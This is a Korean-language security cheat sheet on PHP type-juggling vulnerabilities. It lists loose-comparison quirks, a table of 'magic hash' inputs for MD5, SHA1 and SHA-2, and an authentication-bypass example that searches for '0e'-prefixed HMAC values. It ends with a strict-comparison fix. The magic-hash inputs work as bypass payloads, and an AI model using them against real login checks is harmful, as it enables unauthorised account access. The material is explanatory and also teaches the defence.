Type Juggling
Introduction
Type Juggling은 복수의 변수를 비교할 때 사용되는 Loose/Strict Comparison에 따라 개발자가 의도하지 않은 값으로 if 문 등을 통과할 수 있는 취약점을 의미합니다. 일반적으로 PHP가 영향을 받는 것으로 알려져 있습니다. 보통 PHP type juggling 또는 Magic hashes attack으로 많이 알려져 있습니다.
Comparison | Equal | Not Equal | Description |
---|---|---|---|
Loose | == |
!= |
the same value |
Strict | === |
!== |
the same type and the same value |
Offensive techniques
Detect
PHP 코드상에서 ==
또는 !=
로 분기되거나 비교하는 구문은 모두 영향을 받습니다. 이는 단순히 값만 비교하기 때문에 서로 다른 타입의 값에서 true를 반환시킬 수 있습니다.
True statements
'123' == 123 #true
'123a' == 123 #true
'abc' == 0 #true
var_dump('0010e2' == '1e3'); # true
var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0
var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0
var_dump('0x01' == 1) # true PHP 5.0 / false PHP 7.0
var_dump('0x1234Ab' == '1193131');
'' == 0 == false == NULL
'' == 0 # true
0 == false # true
false == NULL # true
NULL == '' # true
Null statements
var_dump(sha1([])); # NULL
var_dump(md5([])); # NULL
Exploitation
Bypass auth
0e
로 시작하는 값의 경우 아래 Magic Hashes와 같이 ture를 반환할 수 있는 다른 값들이 있습니다. 이를 이용하여 실제 데이터 값을 몰라도 이를 이용하여 우회할 수 있습니다.
hash_hmac(admin|1424869663) -> "e716865d1953e310498068ee39922f49"
hash_hmac(admin|1424869664) -> "8c9a492d316efb5e358ceefe3829bde4"
...
hash_hmac(admin|1835970773) -> "0e174892301580325162390102935332"
// "0e174892301580325162390102935332" == "0"
// => True
Magic Hashes
Hash | Magic Number / String | Magic Hash |
---|---|---|
MD5 | 240610708 | 0e462097431906509019562988736854 |
MD5 | QNKCDZO | 0e830400451993494058024219903391 |
MD5 | 0e1137126905 | 0e291659922323405260514745084877 |
MD5 | 0e215962017 | 0e291242476940776845150308577824 |
MD5 | 129581926211651571912466741651878684928 | 06da5430449f8f6f23dfc1276f722738 |
SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 |
SHA-224 | 10885164793773 | 0e281250946775200129471613219196999537878926740638594636 |
SHA-256 | 34250003024812 | 0e46289032038065916139621039085883773413820991920706299695051332 |
SHA-256 | TyNOQHUS | 0e66298694359207596086558843543959518835691168370379069085300385 |
var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
Defensive techniques
PHP에서 구문 비교 시 Loose Comparison이 아닌 Strict Comparison을 사용하여 문제를 예방할 수 있습니다.
Weak
if (secret == hash_hmac(admin|1835970773)) {
// admin page
} else {
// 403
}
Secure
if (secret === hash_hmac(admin|1835970773)) {
// admin page
} else {
// 403
}
References
- https://www.whitehatsec.com/blog/magic-hashes/
- https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling